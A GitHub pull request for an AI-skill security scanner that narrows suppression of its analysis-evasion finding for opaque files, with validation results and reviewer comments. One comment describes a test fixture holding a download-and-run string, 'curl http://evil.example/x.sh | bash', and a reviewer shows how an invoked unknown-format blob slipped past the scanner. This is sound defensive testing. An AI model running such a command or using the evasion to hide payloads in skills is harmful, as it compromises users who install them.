Skip to content

fix(analyzer): distinguish format-only opaque references in AE1 - #597

Open
chrisknvidia wants to merge 5 commits into
NVIDIA:mainfrom
chrisknvidia:feat/christopherk/ae1-ledger-reasons
Open

chrisknvidia wants to merge 5 commits into
NVIDIA:mainfrom
chrisknvidia:feat/christopherk/ae1-ledger-reasons

Conversation

@chrisknvidia

@chrisknvidia chrisknvidia commented Sep 21, 2026

Copy link
Copy Markdown
Contributor

A passive binary or opaque file referenced from SKILL.md could produce a HIGH AE1 analysis-evasion finding even when the inspection ledger said its only limitation was the unsupported content format. This change propagates ledger reason_code evidence into AE1 and suppresses that finding only when the resolved target is uniquely inventoried as binary/opaque and every canonical limitation is binary_content or opaque_content.

For a skill with one passive PNG, the reported result changes from an AE1 finding to no finding with LOW severity, while the scan remains CAUTION, 50% complete, and incomplete. The coverage denominator, ledger exceptions, MCP safe_to_install=false, and --fail-on-incomplete behavior do not change.

The all-reasons requirement is the safety boundary. Failed or skipped inspection, missing or malformed ledger evidence, truncation, size/read/text failures, mixed or unknown reasons, conflicting inventory/reference state, executable content, and duplicate target records all retain AE1. DEX and Lua bytecode signatures are now recognized consistently with the existing executable-content path so UTF-8-decodable bytecode cannot enter the format-only exception.

Refs #596.

Validation

Exact pushed head: 2f59a5bd9010392762610580119531a504d3e3e1

  • Exact-head hosted CI: all 6 checks passed. The Ubuntu/x86_64 unit job reported 6,059 passed, 14 skipped, 62 deselected, 4 xfailed; hosted lint, DCO, OpenCode TypeScript, change detection, and Docker smoke also passed.
  • Local full default Python suite before the final isolated regression row: 6,058 passed, 14 skipped, 62 deselected, 4 xfailed; the exact added row then passed in its 24-case focused matrix and in hosted CI.
  • Focused finalizer, graph, security, and integration coverage: 646 passed; exact finalizer file 118 passed; changed integration file 23 passed.
  • Security/CLI suite: 592 passed.
  • Deterministic non-provider integration sweep excluding the live Codex CLI file: 52 passed.
  • Node/OpenCode tests: 65 passed.
  • Ruff, formatting, diff checks, and targeted mypy passed. Full-repository mypy still reports unrelated existing debt, including the missing types-PyYAML stub.
  • Built the wheel and sdist, installed the wheel into a clean Python 3.12 environment, and exercised passive PNG and DEX scans through the installed CLI.
  • Built skillspector:ae1-final and passed the repository Docker smoke, including a real GitHub URL scan.
  • Independent Docker matrix: 14 scans passed on Linux/ARM64 with Python 3.12.13. Passive PNG counts 1/4/8 produced no findings, LOW / CAUTION, coverage 50.0%/20.0%/11.1%, default exit 0, and strict-incomplete exit 1. DEX, Lua bytecode, and executable-bit PNG each retained AE1 + SC9, HIGH / DO_NOT_INSTALL, and exit 1. Benign text beginning with dex\n remained fully analyzed and SAFE.
  • Review Guru, Bugbot, and security review independently cleared the exact diff SHA-256 383476c1a1f92a045e775c26fe5e5f33a39f44c5e49c36a897d56e681933f387 with no correctness or security blocker.

The broad non-provider integration command reported 55 passed, 2 skipped, 2 failed. Both failures were unchanged live-agent tests: the standalone Codex CLI rejected the configured model/cache in this environment. Static product scans used --no-llm; no live LLM/provider success was established. Local Docker coverage used Linux/ARM64, and the exact-head hosted Docker build/smoke passed on Ubuntu/x86_64. Windows and live-provider success remain unverified.

Scope boundaries

This PR does not implement the separate replacement/use-sensitive policy. A passive opaque asset invoked in command text may still qualify for the format-only exception when no executable suffix, magic signature, or executable bit identifies it. Unknown executable formats without recognized suffix or magic remain a residual. Completeness and the denominator remain unchanged by design.

Additional Test GURU verification

A second exact-head verification pass exercised the feature through the real graph, installed wheel, CLI renderers, MCP, and concurrent requests:

  • 1,800 independent ledger/inventory/status combinations completed with 0 mismatches. A production-shaped maximum ledger of 10,000 events across 625 targets reconciled in 0.0905 seconds.
  • A freshly installed wheel passed 51/51 CLI cases across JSON, Markdown, SARIF, terminal, stdout/file output, default/strict gates, passive mixtures, executable mixtures, and repeated-run determinism.
  • Graph invoke/stream passed 6/6 routes; MCP direct core and real stdio passed 12/12; non-format failure gates passed 9/9; invalid inputs and destinations passed 5/5.
  • The byte-signature matrix passed 28/28 passive, executable, disguised, near-miss, and fully analyzed text cases.
  • A real 16,781,313-byte referenced text artifact confirmed that size_limit still retains AE1 while an accompanying passive PNG receives only the format exception.
  • Independent concurrency passes completed 17/17 transport-level requests and 40/40 eight-worker graph scans with no shared-state leak or semantic mismatch.
  • Finalizer, graph, executable-signature, and replay-focused suites passed 126, 23, and 34 cases in their respective focused runs.

No P0 or P1 defect was found. Two pre-existing/future-route P2 limitations were observed: replaying the already-committed finalizer output is not idempotent, although the production DAG invokes it once; and standard angle-bracket Markdown destinations containing spaces are treated as missing references, which remains fail-closed. Neither changes the security decision for #596.

Live NVIDIA provider requests were attempted without exposing credentials. The repository default z-ai/glm-5.2 returned HTTP 410 because the endpoint reports it as end-of-life; available-model overrides returned HTTP 401 in this environment. Those attempts failed closed and preserved the static AE1/SC9 contracts, but a successful live-LLM scan was not established. Windows and remote HTTP transport remain unverified; hosted Ubuntu/x86_64 CI and local macOS/Linux ARM64 paths are covered.

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
@chrisknvidia
chrisknvidia marked this pull request as ready for review September 21, 2026 02:36
@sdkkds

sdkkds commented Sep 21, 2026

Copy link
Copy Markdown

Independent verification of 2fd5f97, from the reporter of #596. Checked out the PR head, rebuilt fixtures from scratch, scanned with --no-llm. Your published table reproduces exactly:

Fixture Score Severity Recommendation Coverage Findings
SKILL.md + 1 PNG 0 LOW CAUTION 50.0% none
SKILL.md + 4 PNGs 0 LOW CAUTION 20.0% none
SKILL.md + 8 PNGs 0 LOW CAUTION 11.1% none

One note on that table: severity also drops from MEDIUM to LOW on these fixtures, which your description does not mention. It follows from the finding disappearing, but it is a reported field changing value, so it may be worth stating explicitly.

The case I was actually worried about

A suppression rule trades false positives for possible false negatives, so I built the adversarial fixture rather than only re-running my own benign one. icon.png here is not an image: ELF magic bytes, an embedded curl http://evil.example/x.sh | bash string, and some high-byte padding. It is referenced from SKILL.md identically to the benign PNGs.

Fixture Score Severity Recommendation Coverage Findings
Binary disguised as .png 64 HIGH DO_NOT_INSTALL 50.0% AE1, SC9, LP3

AE1 still fires and the scan blocks. The suppression is genuinely narrow — it holds only for a uniquely inventoried target whose limitations are solely binary_content / opaque_content, so a file that accumulates any additional limitation keeps the finding. That condition is the entire safety property of this change. If a later refactor ever relaxes it to a plain content-kind check, this case goes silent with no test obviously explaining why that matters; a comment at the condition saying so might save a future reader.

What I could not confirm

I tried to exercise the size_limit branch with a 3.3 MB markdown target, but it scanned at coverage: 100 — the cap never triggered, so my fixture did not reach that path. Untested on my side rather than passing. Your suite claims coverage there and I have no reason to doubt it; flagging only so the distinction is on the record.

Scope

Agreed with leaving the replacement rule and the coverage-denominator question out. Worth restating for anyone reading #596 later: this PR does not change the completeness block, so the coverage_percent: 11.1 on an eight-image skill stands. That was point 4 of the issue and it remains open by design, not by oversight.

Thanks for the quick turnaround on this.

@chrisknvidia
chrisknvidia marked this pull request as draft September 21, 2026 12:08
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
@chrisknvidia chrisknvidia changed the title fix(analyzer): distinguish unsupported formats in AE1 coverage fix(analyzer): distinguish format-only opaque references in AE1 Sep 21, 2026
@chrisknvidia
chrisknvidia marked this pull request as ready for review September 21, 2026 12:51
@chrisknvidia
chrisknvidia marked this pull request as draft September 21, 2026 13:06
@chrisknvidia
chrisknvidia marked this pull request as ready for review September 21, 2026 13:20

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[P2] Keep actively used opaque targets out of format-only suppression (src/skillspector/nodes/finalize_inspection_ledger.py:322-329). This condition is broader than the passive-asset scope because it never examines reference use. At this exact head, a real skill containing Run [the helper](assets/payload.asset). and a 1 KiB non-UTF-8 blob produces no issues; --no-llm --format json --fail-on-findings exits 0 with score 0, LOW/CAUTION, 50% coverage, and only a nonfatal opaque_content exception. Thus an actively invoked unknown-format payload loses the only AE1 signal. Please restrict the exception to references proven passive or allowlisted non-executable formats, or retain AE1/a replacement finding for active or unknown-format references. Recognized executable, misleading-extension, and oversized cases otherwise fail closed correctly.

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
@chrisknvidia

Copy link
Copy Markdown
Contributor Author

@rng1995 The AE1 suppression is now limited to known passive formats; unknown opaque targets such as actively invoked .asset and .bin files retain AE1. PTAL.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants